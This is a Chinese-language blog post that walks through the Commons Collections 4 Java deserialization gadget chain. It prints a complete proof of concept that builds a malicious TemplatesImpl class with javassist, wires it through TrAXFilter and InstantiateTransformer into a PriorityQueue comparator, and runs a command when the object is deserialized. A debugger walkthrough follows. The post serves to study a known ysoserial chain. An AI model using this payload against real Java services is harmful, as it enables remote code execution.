CommonsCollection4

1、前置知识

由于cc4没有新的知识点,主要是用cc2,然后稍微cc3结合了,所以我们可以看ysoserial源码,自己尝试构造一下,把cc2通过获取InvokeTransformer()获取templatesImpl的newtransformer()方法,改成用cc3的InstantiateTransformer初始化。那就把跟cc2不同的代码学习下。

1.1、transformingComparator

与cc2最大的不容就是transformingComparator的构造方式不同,这里是通过获取InstantiateTransformer实例化TrAXFilter并且把templatesImpl恶意类传入,其实就是InstantiateTransformer(templateImpl).transform(TrAXFilter)。而且这就是cc3所用的方式,所以cc3在cc4占很少的部分,主要还是cc2

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),//第一个获取TrAXFilter
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl,调用其transform方法,实例化传入的TrAXFilter,调用其构造方法。再调用newTransform };
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一个ChainedTransformer类,传入我们的恶意transformers,只要调用transform方法就会反射执行我们的传入的恶意传入我们的恶意transformers TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

2、PoC分析

2.1、Poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer; import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue; public class CommonsCollection4 { public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("com/akkacloud/CommonsCollection2Test");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime //payload.writeFile("/Users/akka/Documents/study/JAVA-project/ysoserial/CommonsColection2/src/main/java");
byte[] bytes=payload.toBytecode();//转换为byte数组
//String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组 Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test /* Method getTransletName = templatesImpl.getClass().getDeclaredMethod("getTransletName", new Class[]{});
getTransletName.setAccessible(true);
Object name = getTransletName.invoke(templatesImpl, new Object[]{});
System.out.println(name.toString()); Method getTransletBytecodes = templatesImpl.getClass().getDeclaredMethod("getTransletBytecodes", new Class[]{});
getTransletBytecodes.setAccessible(true);
byte[][] bytes1 = (byte[][]) getTransletBytecodes.invoke(templatesImpl, new Object[]{});
for (int i = 0; i < bytes1.length; i++) {
System.out.println(bytes1.length);
System.out.println(Arrays.toString(bytes1[i]));
}*/ Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),//第一个获取TrAXFilter
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl,调用其transform方法,实例化传入的TrAXFilter,调用其构造方法。再调用newTransform };
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一个ChainedTransformer类,传入我们的恶意transformers,只要调用transform方法就会反射执行我们的传入的恶意传入我们的恶意transformers TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
priorityQueue.add(1);//添加数字1插入此优先级队列
priorityQueue.add(1);//添加数字1插入此优先级队列 Field field2=priorityQueue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(priorityQueue,transformingComparator);//设置priorityQueue的comparator属性值为transformingComparator ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
outputStream.writeObject(priorityQueue);
outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.ser"));
inputStream.readObject(); }
}

2.2、poc调试

在PriorityQueue的readObject打断点,发现队列内就是两个数字,进入heapify()

因为在poc中我们没对queue字段赋值,所以queue里面就是两个数字,继续跟入siteDown()

发现x就是queue为空,与cc2此时的x为templatImpl,继续进入siftDownUsingComparator

进入发现,通过comparator.compare(),这个comparator就是我们的恶意TransformingComparator

进入发现TransformingComparator的compare方法里,用this.transformer调用了transform方法,此时的this.transformer是我们传入的ChainedTransformer,链式调用transform

进入后看到第一个是ConstantTransformer,继续跟进transform方法

返回我们一开始构造的TrAXFilter.class

第二遍是进入InstantiateTransformer ,object为我们上次循环获取TrAXFilter.class.继续跟进transform()

这个transform就是实例化传入的object既TrAXFilter,而且传入的参数值为我们一起开始创建的恶意加载字节类TransformerImpl

进入TrAXFilter的构造方法,传入的TransformerImpl被赋值给了templates,templates调用newTransformer方法,继续跟进

TransformerImpl的newTransformer方法,会调用本类的getTransletInstance方法,继续跟进

发现会继续调用defineTransletClasses(),继续跟进

进入defineTransletClasses方法后发现,会把我们前面构造的_bytecodes[i]传输给_class[i],饭后返回到getTransletInstance方法

然后在getTransletInstance方法后,实例化我们传入的_class[i]恶意类》TemplatesImpl》CommonsCollection2Test.

实例化就会调用我们一开始设置的静态代码块,造成RCE

2.3、利用链

Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
...
TransformingComparator.compare()
InstantiateTransformer.transform()
Method.invoke()
Runtime.exec()

2.4、思维导图

2.5、结束

cc4链还是比较简单,我继续每一步调试的原因就是可以更好的复习前面学习的链

CommonsCollection4反序列化链学习的更多相关文章

  1. CommonsCollection6反序列化链学习

    CommonsCollection6 1.前置知识 1.1.HashSet HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合.继承了序列化和集合 构造函数参数为空的话创建一 ...

  2. C3P0反序列化链学习

    C3P0 c3p0第一次听闻是用于fastjson的回显上,大佬们总结三种方法,后面两种主要就是用于fastjson和jackjson的回显利用(注入内存马) http base jndi hex序列 ...

  3. CommonsCollection7反序列化链学习

    CommonsCollections7 1.前置知识 Hashtable Hashtable实现了Map接口和Serializable接口,因此,Hashtable现在集成到了集合框架中.它和Hash ...

  4. URLDNS反序列化链学习

    URLDNS URLDNS跟CommonsCollections比起来真是眉清目秀,该链主要用于验证漏洞,并不能执行命令,优点就是不依赖任何包. 1.利用链 * Gadget Chain: * Has ...

  5. GNU工具链学习笔记

    GNU工具链学习笔记 1..so为动态链接库,.a为静态连接库.他们在Linux下按照ELF格式存储.ELF有四种文件类型.可重定位文件(Relocatable file,*.o,*.a),包含代码和 ...

  6. 安洵杯iamthinking(tp6反序列化链)

    安洵杯iamthinking tp6pop链 考点: 1.tp6.0反序列化链 2.parse_url()绕过 利用链: 前半部分利用链(tp6.0) think\Model --> __des ...

  7. Fastjsonfan反序列链学习前置知识

    Fastjson前置知识 Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象. Fastjson 可以操作任何 ...

  8. Fastjson JdbcRowSetImpl利用链学习

    JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...

  9. JS 原型链学习总结

    废话篇: 在js的学习过程中有一大难点就是原型链.学习的时候一直对这一内容不是十分的明白.纠结的我简直难受.,幸好总算给他弄通了,哇咔咔,总算可以不用在睡梦中还想着他了. 正文篇: 要了解原型链我们首 ...

随机推荐

  1. find: `./folder': No such file or directory 错误处理

    这是我正在处理的目录的内容: misha@hp-laptop:~/work/c/5$ ls -l total 8 -rw-rw-r-- 1 misha misha 219 May 20 15:37 d ...

  2. NSView subview blocking drag/drop event

    原文链接 近期在Mac项目中有一个处理鼠标拖拽事件的需求, 大致处理流程是这样的: 从 NSView 继承得到一个子类 覆盖处理拖拽事件相关方法 注册拖拽事件 开始的时候一切都很正常,直到某次发现拖拽 ...

  3. Scipy的stats模块包含了多种概率分布的随机变量,随机变量分为连续和离散两种。+忽略程序中警告信息+np.newaxis解释

  4. Java UDP 编程

    1.客户端代码 1 import java.io.IOException; 2 import java.net.DatagramPacket; 3 import java.net.DatagramSo ...

  5. CentOS7.5环境下Docker环境搭建

    1. 安装wget工具: yum install wget -y 2. 使用wget工具从docker官网下载yum源: wget -P /etc/yum.repos.d/ https://downl ...

  6. 串和KMP算法

    一.串 串是由零个或多个字符串组成的有限序列 (一).串的定义 定长顺序存储 特点:每个串变量分配一个固定长度的存储区,即定长数组 定义: #define MAXLEN 255 typedef str ...

  7. 配置Pouch镜像

    镜像下载.域名解析.时间同步请点击阿里云开源镜像站 一.pouch镜像简介 阿里巴巴正式开源了基于Apache 2.0协议的容器技术Pouch.Pouch是一款轻量级的容器技术,拥有快速高效.可移植性 ...

  8. Django的缓存机制和信号

    Django的缓存机制 1.1 缓存介绍 1.缓存的简介 在动态网站中,用户所有的请求,服务器都会去数据库中进行相应的增,删,查,改,渲染模板,执行业务逻辑,最后生成用户看到的页面. 当一个网站的用户 ...

  9. 什么是Java序列化,如何实现Java序列化?或者请解释Serializable接口的作用?

    象序列化的目标是将对象保存到磁盘中,或允许在网络中直接传输对象,对象序列化机制允许把内存中的Java对象转换成平台无关的二进制流,从而允许把这种二进制流持久保存在磁盘上,通过网络将这种二进制流传输到另 ...

  10. BTree和B+Tree 简单区别

    本篇作用于各种树之间的区别,非算法详细介绍,只是给我们这种非科班出身的一种大概的印象,现在网上更多是讲各种树的怎么实现的细节问题,本篇不涉及那么高深,如果详细了解可以查阅他人的资料,很多大神已经说的很 ...